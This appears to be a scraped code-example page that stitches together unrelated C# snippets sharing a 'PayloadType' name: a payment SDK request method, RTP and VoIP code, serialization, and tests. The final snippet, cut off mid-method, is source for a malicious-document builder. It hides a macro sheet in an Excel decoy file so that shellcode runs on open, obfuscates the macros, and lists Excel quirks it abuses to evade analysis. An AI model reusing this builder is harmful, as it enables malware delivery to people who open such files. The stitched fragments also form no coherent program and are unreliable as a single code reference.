 public override void RemoveFiltersDownstreamFromSource(PayloadType payload)
 {
     RemoveFiltersDownstreamFromSplitter(payload);
 }
        public async Task <MPAPIResponse> ExecuteRequestAsync(
            HttpMethod httpMethod,
            string path,
            PayloadType payloadType,
            JObject payload,
            int requestTimeout,
            int retries)
        {
            System.Diagnostics.Trace.WriteLine("Payload " + httpMethod + " request to " + path + " : " + payload);

            try
            {
                if (string.IsNullOrEmpty(path))
                {
                    throw new MPRESTException("Uri can not be an empty string.");
                }

                ValidateMethodAndPayload(httpMethod, payload);

                var requestMethod = GetHttpMethod(httpMethod);
                var request       = new HttpRequestMessage(requestMethod, path);

                var client = new HttpClient();

                if (requestTimeout > 0)
                {
                    client.Timeout = TimeSpan.FromSeconds(requestTimeout);
                }

                request.Headers.Add("HTTP.USER_AGENT", $"Lexim MercadoPago .NET SDK v{SDK.Version}");

                if (payload != null)
                {
                    string data;
                    if (payloadType != PayloadType.JSON)
                    {
                        var formParams =
                            payload.ToObject <Dictionary <string, string> >()
                            .Select(x => $"{x.Key}={x.Value}");

                        var parametersString =
                            string.Join("&", formParams);

                        data = parametersString;
                    }
                    else
                    {
                        data = payload.ToString();
                    }

                    var content = Encoding.ASCII.GetBytes(data);
                    request.Content = new ByteArrayContent(content);
                    request.Content.Headers.ContentLength = content.Length;
                    request.Content.Headers.ContentType   =
                        payloadType == PayloadType.JSON
                            ? new MediaTypeHeaderValue("application/json")
                            : new MediaTypeHeaderValue("application/x-www-form-urlencoded");
                }

                while (true)
                {
                    try
                    {
                        var response = await client.SendAsync(request);

                        var content = await response.Content.ReadAsByteArrayAsync();

                        return(new MPAPIResponse(httpMethod, request, payload, response, content));
                    }
                    catch
                    {
                        if (--retries <= 0)
                        {
                            throw;
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                throw new MPRESTException(ex.Message, ex);
            }
        }
Exemplo n.º 33
0
 public virtual void RemoveFiltersDownstreamFromSource(PayloadType payload)
 {
     RemoveFiltersDownstreamFrom(source);
 }
Exemplo n.º 34
0
 /// <summary>
 /// Constructs a frame for Sending
 /// </summary>
 public RtpFrame(uint packetSize, PayloadType payloadType, uint timeStamp)
 {
     this.packetSize  = packetSize;
     this.payloadType = payloadType;
     this.timeStamp   = timeStamp;
 }
Exemplo n.º 35
0
        public FrameFunctionality()
        {
            // Testing PopFirstValue
            Console.WriteLine("");
            Console.WriteLine("Testing PopFirstValue:");
            FrameUtils frameUtils = new FrameUtils(Command.SUBSCRIBE, 123456789);

            frameUtils.AddVSKeyPairGetUtils("string_test", "true");
            frameUtils.AddVSKeyPairGetUtils("bytes_test", Encoding.UTF8.GetBytes("false"));

            Frame  frame      = frameUtils.Build();
            string falseValue = Encoding.UTF8.GetString(frame.PopFirstValue("bytes_test"));
            string trueValue  = Encoding.UTF8.GetString(frame.PopFirstValue("string_test"));

            Console.WriteLine("false : " + falseValue);
            Console.WriteLine("true : " + trueValue);
            Console.WriteLine(" ");

            // Testing CorruptedFrameException
            Console.WriteLine("");
            Console.WriteLine("Testing CorruptedFrameException:");
            try
            {
                byte[] frameContent = Encoding.UTF8.GetBytes("helo 00000000000 0000000410 foobar\nend\n");

                MemoryStream ns = new MemoryStream(frameContent);
                Frame.ReadFromStream(ns);
            }
            catch (CorruptedFrameException ex)
            {
                // Successfull
                Console.WriteLine("thrown CorruptedFrameException");
            }

            // Testing Reading Verifying Signing Key Pair Frame
            Console.WriteLine("");
            Console.WriteLine("Testing Reading Verifying Signing Key Pair Frame:");
            string vsString = "pute 0000000099 0000001337\n" + "kv testKey 9\n" + "testValue\n" + "kv blahbla2 10\n" + "blahblahb2\n" + "kv lawlKey 6\n" + "foobar\n" + "end\n";

            byte[]       vsBytes  = Encoding.UTF8.GetBytes(vsString);
            MemoryStream vsStream = new MemoryStream(vsBytes);
            Frame        csFrame  = Frame.ReadFromStream(vsStream);

            Console.WriteLine("Command: " + Command.PUT_ENTITY + " = " + csFrame.command);
            Console.WriteLine("Sequence number: " + "1337" + " = " + csFrame.sequenceNumber);
            Console.WriteLine("Number of VS key pais: " + "3" + " = " + csFrame.vsKeyPairs.Count);
            Console.WriteLine("Value from testKey: " + "testValue" + " = " + Encoding.UTF8.GetString(csFrame.PopFirstValue("testKey")));
            Console.WriteLine("Empty list: false" + " = " + csFrame.routingObjects.Any());

            //Testing Writing VSKeyPair
            Console.WriteLine("");
            Console.WriteLine("Testing Writing VSKeyPair:");
            FrameUtils writerUtils = new FrameUtils(Command.PUBLISH, 9876);

            writerUtils.AddVSKeyPairGetUtils("testKey1", "testValue1");
            writerUtils.AddVSKeyPairGetUtils("testKey2", "testValue2");
            Frame        writerFrame = writerUtils.Build();
            MemoryStream ns1         = new MemoryStream();
            Stream       bs1         = ns1;

            writerFrame.Write(bs1);
            string frameRetreived   = Encoding.UTF8.GetString(ns1.ToArray());
            string expectedFrameStr = "publ 0000000000 0000009876\n" + "kv testKey1 10\n" + "testValue1\n" + "kv testKey2 10\n" + "testValue2\n" + "end\n";

            if (frameRetreived.Equals(expectedFrameStr))
            {
                Console.WriteLine("Writing VSK test: They are equal.");
            }

            //Testing Writing PayloadObject
            Console.WriteLine("");
            Console.WriteLine("Testing Writing PayloadObject:");
            FrameUtils    powriterUtils = new FrameUtils(Command.SUBSCRIBE, 1234);
            PayloadType   potype        = new PayloadType(42);
            PayloadObject poo           = new PayloadObject(potype, Encoding.UTF8.GetBytes("testPayload"));

            powriterUtils.AddPayloadObjectGetUtils(poo);
            Frame        powriterFrame = powriterUtils.Build();
            MemoryStream ns2           = new MemoryStream();
            Stream       bs2           = ns2;

            powriterFrame.Write(bs2);
            string poframeRetreived   = Encoding.UTF8.GetString(ns2.ToArray());
            string poexpectedFrameStr = "subs 0000000000 0000001234\n" + "po :42 11\n" + "testPayload\n" + "end\n";

            if (poframeRetreived.Equals(poexpectedFrameStr))
            {
                Console.WriteLine("Writing PO test: They are equal.");
            }

            //Testing Writing RoutingObject
            Console.WriteLine("");
            Console.WriteLine("Testing Writing RoutingObject:");
            FrameUtils    rowriterUtils = new FrameUtils(Command.PUBLISH, 9876);
            RoutingObject ro            = new RoutingObject(45, Encoding.UTF8.GetBytes("relaxing"));

            rowriterUtils.AddRoutingObjectGetUtils(ro);
            Frame        rowriterFrame = rowriterUtils.Build();
            MemoryStream ns3           = new MemoryStream();
            Stream       bs3           = ns3;

            rowriterFrame.Write(bs3);
            string roframeRetreived   = Encoding.UTF8.GetString(ns3.ToArray());
            string roexpectedFrameStr = "publ 0000000000 0000009876\n" + "ro 45 8\n" + "relaxing\n" + "end\n";

            if (roframeRetreived.Equals(roexpectedFrameStr))
            {
                Console.WriteLine("Writing RO test: They are equal.");
            }

            //Reading RoutingObject Frame
            Console.WriteLine("");
            Console.WriteLine("Testing Reading RoutingObject Frame:");
            string roframetoread = "dlpc 0000000987 0000000645\n" + "ro 255 6\n" + "testRO\n" + "end\n";

            byte[]       roframeBytes = Encoding.UTF8.GetBytes(roframetoread);
            MemoryStream roStream     = new MemoryStream(roframeBytes);
            Frame        roFrame      = Frame.ReadFromStream(roStream);

            Console.WriteLine("Command: " + Command.DEL_PREF_CHAIN + " = " + roFrame.command);
            Console.WriteLine("Sequence number: " + "645" + " = " + roFrame.sequenceNumber);
            Console.WriteLine("VSkeyPairCount: " + "0" + " = " + roFrame.vsKeyPairs.Count);
            Console.WriteLine("RoutinObjects.Count: 1" + " = " + roFrame.routingObjects.Count);
            Console.WriteLine("PayloadObjects.Count: 0" + " = " + roFrame.payloadObjects.Count);

            //Readin PayloadObject Frame
            Console.WriteLine("");
            Console.WriteLine("Testing Reading PayloadObject Frame:");
            string poframetoread = "make 0000000059 0000000999\n" + "po 1.2.3.4: 11\n" + "testPayload\n" + "end\n";

            byte[]       poframeBytes = Encoding.UTF8.GetBytes(poframetoread);
            MemoryStream mempo        = new MemoryStream(poframeBytes);
            Frame        mepoframe    = Frame.ReadFromStream(mempo);

            Console.WriteLine("Command: " + Command.MAKE_ENTITY + " = " + mepoframe.command);
            Console.WriteLine("Sequence number: " + "999" + " = " + mepoframe.sequenceNumber);
            Console.WriteLine("VSkeyPairCount: " + "0" + " = " + mepoframe.vsKeyPairs.Count);
            Console.WriteLine("RoutinObjects.Count: 0" + " = " + mepoframe.routingObjects.Count);
            Console.WriteLine("PayloadObjects.Count: 1" + " = " + mepoframe.payloadObjects.Count);

            PayloadType expectedType = new PayloadType(new byte[] { 1, 2, 3, 4 });

            byte[]        expectedContents = Encoding.UTF8.GetBytes("testPayload");
            PayloadObject expectedPayload  = new PayloadObject(expectedType, expectedContents);

            if (expectedPayload.Equals(mepoframe.payloadObjects[0]))
            {
                Console.WriteLine("Readin PO test: They are equal.");
            }
        }
Exemplo n.º 36
0
        //public byte[] EventPayload
        //{
        //    get
        //    {
        //        using (MemoryStream ms = new MemoryStream())
        //        {
        //            using (BinaryWriter writer = new BinaryWriter(ms))
        //            {
        //                this.Serialize(writer);
        //            }
        //            return ms.ToArray();
        //        }
        //    }
        //}

        //public static Payload CreateInstance(byte[] eventPayload)
        //{
        //    if (eventPayload.Length == 0)
        //    {
        //        throw new ArgumentException("Event payload is empty", "eventPayload");
        //    }

        //    PayloadType eventType = (PayloadType)eventPayload[0];

        //    Payload eventData = null;
        //    switch (eventType)
        //    {
        //        case PayloadType.CollectionOpened:
        //            eventData = new CollectionOpenedPayload(eventPayload);
        //            break;

        //        case PayloadType.ObjectOpened:
        //            eventData = new ObjectOpenedPayload(eventPayload);
        //            break;
        //        case PayloadType.ObjectDeleted:
        //            eventData = new ObjectDeletedPayload(eventPayload);
        //            break;

        //        case PayloadType.ObjectClosed:
        //            eventData = new ObjectClosedPayload(eventPayload);
        //            break;

        //        case PayloadType.ObjectConnected:
        //            eventData = new ObjectConnectedPayload(eventPayload);
        //            break;

        //        case PayloadType.CollectionDeleted:
        //            eventData = new CollectionDeletedPayload(eventPayload);
        //            break;

        //        case PayloadType.Object:
        //            eventData = new ObjectPayload(eventPayload);
        //            break;

        //        case PayloadType.ObjectInserted:
        //            eventData = new ObjectInsertedPayload(eventPayload);
        //            break;

        //        case PayloadType.ObjectRemoved:
        //            eventData = new ObjectRemovedPayload(eventPayload);
        //            break;

        //        case PayloadType.PropertyUpdated:
        //            eventData = new PropertyChangedPayload(eventPayload);
        //            break;

        //        case PayloadType.RegisterClient:
        //            eventData = new ClientConnectPayload(eventPayload);
        //            break;

        //        case PayloadType.RegisterPrincipal:
        //            eventData = new RegisterPrincipalPayload(eventPayload);
        //            break;

        //        case PayloadType.CollectionConnected:
        //            eventData = new CollectionConnectedPayload(eventPayload);
        //            break;

        //        case PayloadType.CollectionClosed:
        //            eventData = new CollectionClosedPayload(eventPayload);
        //            break;

        //        case PayloadType.SingletonInitialized:
        //            eventData = new SingletonInitializedPayload(eventPayload);
        //            break;

        //        case PayloadType.ObjectError:
        //            eventData = new ObjectErrorPayload(eventPayload);
        //            break;

        //        case PayloadType.ObjectPropertyError:
        //            eventData = new ObjectPropertyErrorPayload(eventPayload);
        //            break;

        //        case PayloadType.Error:
        //            eventData = new ErrorPayload(eventPayload);
        //            break;

        //        case PayloadType.Trace:
        //            eventData = new TracePayload(eventPayload);
        //            break;

        //        case PayloadType.ServerCommand:
        //            eventData = new ServerCommandPayload(eventPayload);
        //            break;

        //        case PayloadType.AtomicOperation:
        //            eventData = new AtomicPayload(eventPayload);
        //            break;

        //        case PayloadType.UnauthorizedError:
        //            eventData = new UnauthorizedErrorPayload(eventPayload);
        //            break;

        //        case PayloadType.ObjectSecurity:
        //            eventData = new SharedObjectSecurityPayload(eventPayload);
        //            break;

        //        case PayloadType.DirectMessage:
        //            eventData = new MessagePayload(eventPayload);
        //            break;

        //        case PayloadType.CollectionHeartbeat:
        //            eventData = new CollectionHeartbeatPayload(eventPayload);
        //            break;

        //        case PayloadType.EvictionPolicy:
        //            eventData = new EvictionPolicyPayload(eventPayload);
        //            break;

        //        default:
        //            throw new InvalidOperationException("Unknown EventLinkDataType");

        //    }

        //    return eventData;
        //}

        //private ushort GenerateId()
        //{
        //    ushort id = payloadSequenceId;
        //    payloadSequenceId++;
        //    // The max value is reserved for internal constructors to specify to the payload constructor
        //    // that they want an auto generated payload id, so we skip over that number in the sequence
        //    if (payloadSequenceId == ushort.MaxValue)
        //    {
        //        payloadSequenceId = 0;
        //    }
        //    return id;
        //}

        /// <summary>
        /// Used by serializer
        /// </summary>
        /// TODO FIX BACK TO PROTECTED IL2JS
        //public Payload2()
        //    : this(PayloadType.Undetermined)
        //{
        //}

        public Payload2(PayloadType eventType)
        {
            this.EventType = eventType;
            //this.PayloadId = GenerateId();
        }
Exemplo n.º 37
0
 public PayloadChannel(PayloadType pType)
 {
     fPayloadType = pType;
 }
Exemplo n.º 38
0
 public Payload(string content)
 {
     _strContent = content;
     _type       = PayloadType.String;
     _size       = content.Length;
 }
Exemplo n.º 39
0
 public static String payloadHeader(PayloadType type)
 {
     switch (type) {
     case PayloadType.Altitude:
         return "ALT";
     case PayloadType.Apoapsis:
         return "APA";
     case PayloadType.Apoapsis_r:
         return "APR";
     case PayloadType.Orb_spd:
         return "OSP";
     case PayloadType.Periapsis:
         return "PEA";
     case PayloadType.Periapsis_r:
         return "PER";
     case PayloadType.Stage:
         return "STG";
     case PayloadType.Surf_spd:
         return "SSP";
     case PayloadType.T_t_apo:
         return "TTA";
     case PayloadType.T_t_peri:
         return "TTP";
     case PayloadType.Targ_dist:
         return "TDI";
     case PayloadType.Targ_spd:
         return "TSP";
     case PayloadType.SOI_Num:
         return "SOI";
     case PayloadType.Latitude:
         return "LAT";
     case PayloadType.Longitude:
         return "LON";
     case PayloadType.Orbital_period:
         return "OPE";
     case PayloadType.Gee_force:
         return "GFO";
     case PayloadType.Terrain_altitude:
         return "AGL";
     default:
         return "INV";
     }
 }
Exemplo n.º 40
0
 public Payload(FileStream file)
 {
     _fileContent = file;
     _type        = PayloadType.File;
     _size        = file.Length;
 }
        /// <summary>
        /// Get whether the individual property is a single primitive type.
        /// </summary>
        /// <param name="responsePayload">the string of the response payload.</param>
        /// <param name="payloadType">the type of the response payload.</param>
        /// <returns>True, if the the individual property is a single primitive type; false otherwise. </returns>
        public static bool IsIndividualPropertySinglePrimitiveType(
            string responsePayload, PayloadType payloadType)
        {
            if (payloadType != PayloadType.IndividualProperty || string.IsNullOrEmpty(responsePayload))
                return false;

            XmlDocument xmlDoc = new XmlDocument();
            xmlDoc.LoadXml(responsePayload);
            XmlElement root = xmlDoc.DocumentElement;

            if (root.LocalName.Equals("value") && root.NamespaceURI.Equals(Constants.NSMetadata))
            {
                if (root.Attributes["context", Constants.NSMetadata] != null)
                {
                    string contextURI = root.Attributes["context", Constants.NSMetadata].Value;
                    string propertyType = contextURI.Remove(0, contextURI.IndexOf('#') + 1);

                    if (propertyType.Contains("Collection("))
                        return false;
                }

                if (root.Attributes["type", Constants.NSMetadata] != null)
                {
                    string typeName = root.Attributes["type", Constants.NSMetadata].Value;
                    if (!typeName.Contains("."))
                    {
                        typeName = "Edm." + typeName;
                    }

                    if (EdmTypeManager.IsEdmSimpleType(typeName))
                    {
                        return true;
                    }
                }
                else
                {
                    return true;
                }
            }

            return false;
        }
Exemplo n.º 42
0
        internal static Frame MessageToFrame(ulong conversationId, string methodName, PayloadType type, IMessage payload, IBonded layerData, Logger logger)
        {
            var frame = new Frame(logger);

            {
                var headers = new EpoxyHeaders
                {
                    conversation_id = conversationId,
                    payload_type    = type,
                    method_name     = methodName ?? string.Empty, // method_name is not nullable
                };

                if (payload.IsError)
                {
                    headers.error_code = payload.Error.Deserialize <Error>().error_code;
                }
                else
                {
                    headers.error_code = (int)ErrorCode.OK;
                }

                const int initialHeaderBufferSize = 150;
                var       outputBuffer            = new OutputBuffer(initialHeaderBufferSize);
                var       fastWriter = new FastBinaryWriter <OutputBuffer>(outputBuffer);
                Serialize.To(fastWriter, headers);

                frame.Add(new Framelet(FrameletType.EpoxyHeaders, outputBuffer.Data));
            }

            if (layerData != null)
            {
                const int initialLayerDataBufferSize = 150;
                var       outputBuffer  = new OutputBuffer(initialLayerDataBufferSize);
                var       compactWriter = new CompactBinaryWriter <OutputBuffer>(outputBuffer);
                // TODO: See TODO below about issues with IBonded Marshal.TO(...)
                compactWriter.WriteVersion();
                layerData.Serialize(compactWriter);
                frame.Add(new Framelet(FrameletType.LayerData, outputBuffer.Data));
            }

            {
                var userData = payload.IsError ? (IBonded)payload.Error : (IBonded)payload.RawPayload;


                const int initialPayloadBufferSize = 1024;
                var       outputBuffer             = new OutputBuffer(initialPayloadBufferSize);
                var       compactWriter            = new CompactBinaryWriter <OutputBuffer>(outputBuffer);
                // TODO: marshal dies on IBonded Marshal.To(compactWriter, request)
                // understand more deeply why and consider fixing
                compactWriter.WriteVersion();
                userData.Serialize(compactWriter);

                frame.Add(new Framelet(FrameletType.PayloadData, outputBuffer.Data));
            }

            return(frame);
        }
Exemplo n.º 43
0
        internal RtpSender(IRtpSession rtpSession, string name, PayloadType payloadType, Hashtable priExns, Hashtable paraPay)
        {
            if(Thread.CurrentThread.Name == null)
            {
                Thread.CurrentThread.Name = "RtpSender - " + name;
            }

            this.rtpSession = rtpSession;
            this.payloadType = payloadType;
            this.payloadPara = paraPay;

            // Leave everything but CName and Name blank in order to reduce Rtcp bandwidth
            sdes = new SdesData(rtpSession.Sdes.CName, name);

            // Add private extensions
            sdes.SetPrivateExtension(Rtcp.PEP_SOURCE, Rtcp.PED_STREAM);
            sdes.SetPrivateExtension(Rtcp.PEP_PAYLOADTYPE, ((int)payloadType).ToString());

            InitializeNetwork();
            InitializeFrame();
            InitializePerformanceCounters();

            // This needs to be called after InitializeNetwork
            if( priExns != null )
            {
                foreach(DictionaryEntry de in priExns)
                {
                    sdes.SetPrivateExtension((string)de.Key, (string)de.Value);
                }

                string dbpString = (string)priExns[Rtcp.PEP_DBP];
                if( dbpString != null )
                    DelayBetweenPackets = short.Parse(dbpString);
            }

            ResetState();
        }
Exemplo n.º 44
0
        /*private void cm_ContactFound(object sender, ContactFoundEventArgs e)
         * {
         *  if (e.ContactFound != null)
         *  {
         *      Contact.Text = e.ContactFound.DisplayName;
         *      if (e.PhoneLabel != null)
         *      {
         *          Number.Text = e.PhoneLabel + " : " + e.PhoneNumber;
         *      }
         *      else
         *      {
         *          Number.Text = e.PhoneNumber;
         *      }
         *  }
         * }*/

        private void timerTick(Object sender, Object e)
        {
            Call call = ((InCallModel)this.DataContext).GetCurrentCall();

            if (call == null)
            {
                return;
            }

            //startTime = (DateTimeOffset)call.CallStartTimeFromContext;


            TimeSpan callDuration = new TimeSpan(call.Duration * TimeSpan.TicksPerSecond);
            var      hh           = callDuration.Hours;
            var      ss           = callDuration.Seconds;
            var      mm           = callDuration.Minutes;

            Status.Text = hh.ToString("00") + ":" + mm.ToString("00") + ":" + ss.ToString("00");

            string audioPayloadType       = "";
            string audioDownloadBandwidth = "";
            string audioUploadBandwidth   = "";
            string videoPayloadType       = "";
            string videoDownloadBandwidth = "";
            string videoUploadBandwidth   = "";

            CallParams param = call.CurrentParams;

            ((InCallModel)this.DataContext).MediaEncryption = param.MediaEncryption.ToString();

            CallStats audioStats = null;

            try {
                audioStats = call.GetStats(StreamType.Audio);
            } catch { }

            if (audioStats != null)
            {
                audioDownloadBandwidth = String.Format("{0:0.00}", audioStats.DownloadBandwidth);
                audioUploadBandwidth   = String.Format("{0:0.00}", audioStats.UploadBandwidth);
                ((InCallModel)this.DataContext).ICE = audioStats.IceState.ToString();
            }

            PayloadType audiopt = param.UsedAudioPayloadType;

            if (audiopt != null)
            {
                audioPayloadType = audiopt.MimeType + "/" + audiopt.ClockRate;
            }

            if (param.VideoEnabled)
            {
                CallStats videoStats = call.GetStats(StreamType.Video);
                if (videoStats != null)
                {
                    videoDownloadBandwidth = String.Format("{0:0.00}", videoStats.DownloadBandwidth);
                    videoUploadBandwidth   = String.Format("{0:0.00}", videoStats.UploadBandwidth);
                }

                PayloadType videopt = param.UsedVideoPayloadType;
                if (videopt != null)
                {
                    videoPayloadType = videopt.MimeType;
                }
                VideoDefinition receivedVideoSize    = param.ReceivedVideoDefinition;
                String          NewReceivedVideoSize = String.Format("{0}x{1}", receivedVideoSize.Width, receivedVideoSize.Height);
                String          OldReceivedVideoSize = ((InCallModel)this.DataContext).ReceivedVideoSize;
                if (OldReceivedVideoSize != NewReceivedVideoSize)
                {
                    ((InCallModel)this.DataContext).ReceivedVideoSize = String.Format("{0}x{1}", receivedVideoSize.Width, receivedVideoSize.Height);
                    ((InCallModel)this.DataContext).IsVideoActive     = false;
                    if (NewReceivedVideoSize != "0x0")
                    {
                        ((InCallModel)this.DataContext).IsVideoActive = true;
                    }
                }
                VideoDefinition sentVideoSize = param.SentVideoDefinition;
                ((InCallModel)this.DataContext).SentVideoSize        = String.Format("{0}x{1}", sentVideoSize.Width, sentVideoSize.Height);
                ((InCallModel)this.DataContext).VideoStatsVisibility = Visibility.Visible;
            }
            else
            {
                ((InCallModel)this.DataContext).VideoStatsVisibility = Visibility.Collapsed;
            }

            string downloadBandwidth = audioDownloadBandwidth;

            if ((downloadBandwidth != "") && (videoDownloadBandwidth != ""))
            {
                downloadBandwidth += " - ";
            }
            if (videoDownloadBandwidth != "")
            {
                downloadBandwidth += videoDownloadBandwidth;
            }
            ((InCallModel)this.DataContext).DownBandwidth = String.Format("{0} kb/s", downloadBandwidth);
            string uploadBandwidth = audioUploadBandwidth;

            if ((uploadBandwidth != "") && (videoUploadBandwidth != ""))
            {
                uploadBandwidth += " - ";
            }
            if (videoUploadBandwidth != "")
            {
                uploadBandwidth += videoUploadBandwidth;
            }
            ((InCallModel)this.DataContext).UpBandwidth = String.Format("{0} kb/s", uploadBandwidth);
            string payloadType = audioPayloadType;

            if ((payloadType != "") && (videoPayloadType != ""))
            {
                payloadType += " - ";
            }
            if (videoPayloadType != "")
            {
                payloadType += videoPayloadType;
            }
            ((InCallModel)this.DataContext).PayloadType = payloadType;
        }
Exemplo n.º 45
0
 internal RtpSenderFec(IRtpSession session, string name, PayloadType pt, Hashtable priExns, Hashtable paraPay)
     : 
     base(session, name, pt, priExns, paraPay) {}
Exemplo n.º 46
0
 internal static extern ErrorCode CionPayloadCreate(out PayloadSafeHandle payload, PayloadType type);
Exemplo n.º 47
0
        internal static RtpSender CreateInstance(IRtpSession session, string name, PayloadType pt, 
            Hashtable priExns, ushort cDataPx, ushort cFecPx)
        {
            // Validate before adding to private extensions
            if(cFecPx == 0)
            {
                throw new ArgumentOutOfRangeException("cFecPx", cFecPx, "Must be >= 1");
            }

            // Add the relevant private extension for FEC
            Hashtable fecExns = null;
            
            if(priExns != null)
            {
                fecExns = (Hashtable)priExns.Clone();
            }
            else
            {
                fecExns = new Hashtable();
            }

            fecExns[Rtcp.PEP_FEC] = cDataPx.ToString() + ":" + cFecPx.ToString();

            // Call generic class factory
            return CreateInstance(session, name, pt, fecExns, null);
        }
Exemplo n.º 48
0
 internal static extern ErrorCode CionPayloadGetType(IntPtr payload, out PayloadType type);
Exemplo n.º 49
0
        /// <summary>
        /// Creates a basic RtpSender
        /// 
        /// This RtpSender simply sends data over the wire.  It uses the least amount of CPU and
        /// network bandwidth at the cost of reliability (i.e. it makes no attempts to improve data
        /// arrival at the remote site).
        /// </summary>
        /// <param name="Name">string Friendly Name of the device/sender of this RtpStream</param>
        /// <param name="payloadType">Rtp Payload Type</param>
        /// <param name="priExns">Private extensions for this RtpSender/Stream</param>
        public RtpSender CreateRtpSender(string name, PayloadType pt, Hashtable priExns)
        {
            ValidateRtpTraffic();

            RtpSender rtpSender = RtpSender.CreateInstance(this, name, pt, priExns);
            _CreateRtpSender(rtpSender);

            return rtpSender;
        }
Exemplo n.º 50
0
        /// <summary>
        /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument.
        /// </summary>
        /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param>
        /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param>
        /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param>
        /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param>
        /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param>
        /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param>
        /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param>
        /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param>
        /// <param name="payloadMethod">How should shellcode be written in the document. Defaults to using the SheetPackingMethod for encoding.</param>
        /// <param name="password">Password to encrypt document using XOR Obfuscation.</param>
        /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param>
        /// <param name="localizedLabel">Use this flag in order to set a localized label in case Excel is not in US language. Default to Auto_Open</param>
        public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble,
                                 PayloadType payloadType   = PayloadType.Shellcode,
                                 string macroSheetName     = "Sheet2", string outputFileName = "output.xls", bool debugMode = false,
                                 SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, PayloadPackingMethod payloadMethod = PayloadPackingMethod.MatchSheetPackingMethod,
                                 string password           = "", string localizedLabel = "Auto_Open")
        {
            if (decoyDocument == null || payload == null)
            {
                Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions.");
                return;
            }

            //Useful for remote debugging
            if (debugMode)
            {
                Console.WriteLine("Waiting for debugger to attach");
                while (!Debugger.IsAttached)
                {
                    Thread.Sleep(100);
                }
                Console.WriteLine("Debugger attached");
            }

            List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();


            string decoyDocPath = decoyDocument.FullName;

            WorkbookStream wbs        = LoadDecoyDocument(decoyDocPath);
            List <string>  sheetNames = wbs.GetAllRecordsByType <BoundSheet8>().Select(bs => bs.stName.Value).ToList();
            VBAInfo        vbaInfo    = VBAInfo.FromCompoundFilePath(decoyDocPath, sheetNames);

            List <string> preambleCode = new List <string>();

            if (preamble != null)
            {
                string preambleCodePath = new FileInfo(preamble).FullName;
                preambleCode = new List <string>(File.ReadAllLines(preambleCodePath));
            }

            WorkbookEditor wbe = new WorkbookEditor(wbs);

            wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden);

            List <string> macros = null;

            byte[] binaryPayload   = null;
            byte[] binary64Payload = null;

            //TODO make this customizable
            int rwStart     = 0;
            int colStart    = 0xA0;
            int dstRwStart  = 0;
            int dstColStart = 0;

            int curRw  = rwStart;
            int curCol = colStart;

            switch (payloadType)
            {
            case PayloadType.Shellcode:
                macros        = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName);
                binaryPayload = File.ReadAllBytes(payload.FullName);

                if (payload64Bit != null && payload64Bit.Exists)
                {
                    binary64Payload = File.ReadAllBytes(payload64Bit.FullName);
                }

                break;

            case PayloadType.Macro:
                macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList());
                //Prepend the preamble to the imported pattern
                macros = preambleCode.Concat(macros).ToList();
                break;

            default:
                throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType),
                                            "payloadType");
            }


            if (binaryPayload != null && binaryPayload.Length > 0)
            {
                if (payloadMethod == PayloadPackingMethod.Base64)
                {
                    wbe.SetMacroBinaryContent(binaryPayload, 0, dstColStart + 1, 0, 0, method, payloadMethod);
                }
                else
                {
                    wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method);
                }

                curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                if (rwStart > 0xE000)
                {
                    curRw   = 0;
                    curCol += 1;
                }

                if (binary64Payload != null && binary64Payload.Length > 0)
                {
                    if (payloadMethod == PayloadPackingMethod.Base64)
                    {
                        wbe.SetMacroBinaryContent(binary64Payload, 0, dstColStart + 2, 0, 0, method, payloadMethod);
                    }
                    else
                    {
                        wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method);
                    }

                    curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                    if (rwStart > 0xE000)
                    {
                        curRw   = 0;
                        curCol += 1;
                    }

                    macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName);
                }

                if (payloadMethod == PayloadPackingMethod.Base64)
                {
                    macros = MacroPatterns.GetBase64DecodePattern(preambleCode);
                }
            }

            wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method);

            // Initialize the Global Stream records like SupBook + ExternSheet
            wbe.InitializeGlobalStreamLabels();

            if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine)
            {
                ushort charInvocationRw  = 0xefff;
                ushort charInvocationCol = 0x9f;
                wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true);

                //Abuse a few comparison "features" in Excel
                //1. Null bytes are ignored at the beginning and start of a label.
                //2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ
                //3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325)
                //4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions
                wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true);
                //Using lblIndex 2, since that what var has set for us
                wbe.AddFormula(
                    FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2), payloadMethod);
            }
            else if (method == SheetPackingMethod.ArgumentSubroutines)
            {
                ushort charInvocationRw  = 0xefff;
                ushort charInvocationCol = 0x9f;

                ushort formInvocationRw  = 0xefff;
